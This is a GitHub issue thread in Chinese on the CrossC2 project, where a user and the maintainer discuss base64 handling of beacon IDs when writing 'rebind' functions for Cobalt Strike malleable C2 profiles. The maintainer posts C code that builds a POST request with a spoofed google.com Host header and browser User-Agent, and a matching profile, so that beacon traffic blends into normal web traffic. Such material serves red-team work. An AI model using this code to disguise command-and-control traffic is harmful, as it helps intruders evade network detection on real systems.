Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[bug report/support request] c2 profile 使用 rebind 时 beacon_id 对应 post 字段必须配置为 base64 #65

Closed
kmahyyg opened this issue Feb 24, 2021 · 10 comments

Comments

@kmahyyg
Copy link

kmahyyg commented Feb 24, 2021

我尝试给公开的 wusa.profile 编写 crossc2 的重绑定,但是发现服务端发送命令给 client 时 teamserver 报错:

image

尝试修改为 profile 文件此处 L170 处增加 base64; 后报错消失:

image

相关源码和 profile 文件:

protocol_demo.zip

请问这是不是 crossC2 的固定行为,即 beacon ID 必须 Base64 编码?还是我的 rebind 哪里写错了?

@gloxec
Copy link
Owner

gloxec commented Feb 25, 2021

尝试修改为 profile 文件此处 L170 处增加 base64; 后报错消失:
...
请问这是不是 crossC2 的固定行为,即 beacon ID 必须 Base64 编码?还是我的 rebind 哪里写错了?

这里传入的信息如beaconID及reqData等都是base64编码后的数据。
同时xxx_recv 系列函数的元数据 outputData 需要返回base64编码后的数据。

具体API介绍见: https://gloxec.github.io/CrossC2/zh_cn/protocol/

API中数据的大致传递过程:

cc2_rebind_http_get_send(base64(reqData), ...);
cc2_rebind_http_get_recv(base64(resData), ..., need_base64(outputData), ...);
cc2_rebind_http_post_send(base64(reqData), base64(beaconID), ...);
cc2_rebind_http_post_recv(base64(resData), ..., need_base64(outputData), ...);

所以这里如果c2profile中id没有添加base64,那么在对应的rebind中需要将传入的beaconID先进行base64解码后再进行使用。

@kmahyyg kmahyyg closed this as completed Feb 25, 2021
@kmahyyg
Copy link
Author

kmahyyg commented Feb 25, 2021

非常感谢。

@kmahyyg
Copy link
Author

kmahyyg commented Mar 3, 2021

尝试修改为 profile 文件此处 L170 处增加 base64; 后报错消失:
...
请问这是不是 crossC2 的固定行为,即 beacon ID 必须 Base64 编码?还是我的 rebind 哪里写错了?

这里传入的信息如beaconID及reqData等都是base64编码后的数据。
同时xxx_recv 系列函数的元数据 outputData 需要返回base64编码后的数据。

具体API介绍见: https://gloxec.github.io/CrossC2/zh_cn/protocol/

API中数据的大致传递过程:

cc2_rebind_http_get_send(base64(reqData), ...);
cc2_rebind_http_get_recv(base64(resData), ..., need_base64(outputData), ...);
cc2_rebind_http_post_send(base64(reqData), base64(beaconID), ...);
cc2_rebind_http_post_recv(base64(resData), ..., need_base64(outputData), ...);

所以这里如果c2profile中id没有添加base64,那么在对应的rebind中需要将传入的beaconID先进行base64解码后再进行使用。

此处的 base64 -> base64_encode , need_base64 -> base64_decode() ?

@gloxec
Copy link
Owner

gloxec commented Mar 3, 2021

cc2_rebind_http_get_send(base64(reqData), ...);
cc2_rebind_http_get_recv(base64(resData), ..., need_base64(outputData), ...);
cc2_rebind_http_post_send(base64(reqData), base64(beaconID), ...);
cc2_rebind_http_post_recv(base64(resData), ..., need_base64(outputData), ...);

此处的 base64 -> base64_encode , need_base64 -> base64_decode() ?

都为base64_encode,但更为精准的描述应该是它们的数据类型都是base64,即CrossC2内部的数据传入传出都使用base64类型进行编码。

这样做的方式是可以省略需要处理数据的长度,同时准确包含原始二进制数据。再一个原因就是大量的c2profile内部都对元数据采用了base64编码,如果这里采用原始数据的传递设计,那么意味着大多数人员在写rebind时,还需要实现base64的编码算法。
所以综合大量的项目经历下来,最终将数据类型定为了base64,省略大部分人的rebind编写时间。

@gloxec gloxec reopened this Mar 3, 2021
@gloxec
Copy link
Owner

gloxec commented Mar 3, 2021

当然如果有对接口实现的其他想法的话,欢迎提出建议

目前编写rebind时,针对c2profile中对元数据的编码情况:
base64 -> 无需更改
base64url & mask & raw -> 需根据profile中设定的顺序,对API传入传出的数据进行base64编解码处理,再实现其对应的编码算法进行调用处理数据。

至于这几种编码算法详见CobaltStrike官方手册中的c2profile章节具体介绍

@kmahyyg
Copy link
Author

kmahyyg commented Mar 3, 2021

的确是有 Base64 来进行保留完整二进制这么一个考虑存在的,也是合理的。

我刚刚去翻了一下手册,发现没有具体的关于 Session ID 的说明。主要目前是想隐藏在正常的流量中,类似 ?id=<Beacon Session ID>这种形式。

那么对应的,我是否有什么办法确定位于 POST 请求报文中 URL QueryString 中 id 参数对应的 Session ID 所在的位置呢?

例如:

POST /testEndpoint?id=<SESSION ID>&data=<ANOTHER CUSTOM DATA> HTTP/1.1

或者:

POST /testEndpoint?id=<SESSION ID> HTTP/1.1

这种场景,我该如何定位到 对应的 beacon session id 所在位置?

@gloxec
Copy link
Owner

gloxec commented Mar 3, 2021

..位于 POST 请求报文中 URL QueryString 中 id 参数对应的 Session ID 所在的位置呢?

POST /testEndpoint?id=<SESSION ID> HTTP/1.1

这种场景,我该如何定位到 对应的 beacon session id 所在位置?

没太理解你的意思,但根据你的POST请求报文来看,你说的SESSION ID应该就是c2profile中对应的


与之rebindAPI中对应的就是beaconID,那么对应的rebind代码大致为

void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
    char *requestBody = "POST /%s?id=%s HTTP/1.1\r\n"
        "Host: www.google.com\r\n"
        "Accept: accccccc\r\n"
        "Accept-Encoding: gzip, br\r\n"
        "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"
        "Referer: https://www.google.com/\r\n"
        "Connection: close\r\n"
        "Content-Length: %d\r\n\r\n%s";
    char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
    sprintf(postPayload, requestBody, "testEndpoint", id, strlen(reqData), reqData);

    *outputData_len =  strlen(postPayload);
    *outputData = (char *)calloc(1,  *outputData_len);
    memcpy(*outputData, postPayload, *outputData_len);
    free(postPayload);
}

c2profile为

http-post {
    set uri "/testEndpoint";
    set verb "POST";
    client {
        header "Accept" "accccccc";
        header "Host" "www.google.com";
        header "Referer" "http://www.google.com/";
        header "Accept-Encoding" "gzip, deflate";

        id {
            base64;
            parameter "id";
        }
        ...

@kmahyyg
Copy link
Author

kmahyyg commented Mar 3, 2021

我是想把 beacon id 在 post 的时候用 url 参数明文传参,但是 recv 的时候必然要定位到已经 base64 编码的部分进行解码,所以问题就是我该如何在这样的响应报文中定位到 Beacon id? (对应 cc2_rebind_http_post_Recv )

我找了一下文档,没找到beacon id 的格式

@gloxec
Copy link
Owner

gloxec commented Mar 3, 2021

_recv 系列是beaconID无关的,所以无需考虑_send时对数据进行的操作, _send 与 _recv中的数据无关联性
具体可见c2profile:

以c2profile的POST配置为例
http-post {
    set uri "/bbbbbbbbb";
    set verb "POST";

    # client 对应 cc2_rebind_http_post_send(reqData, beaconID)
    client {
        id {             # 对应 beaconID
            base64;
        }
        output {
            print;             # 对应 reqData
        }
    }

    # server 对应 cc2_rebind_http_post_recv(resData)
    server {
        header "Server" "nginx";
        output {
            print;             # 对应 resData
        }
    }
}

@kmahyyg
Copy link
Author

kmahyyg commented Mar 4, 2021

感谢您的回复。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants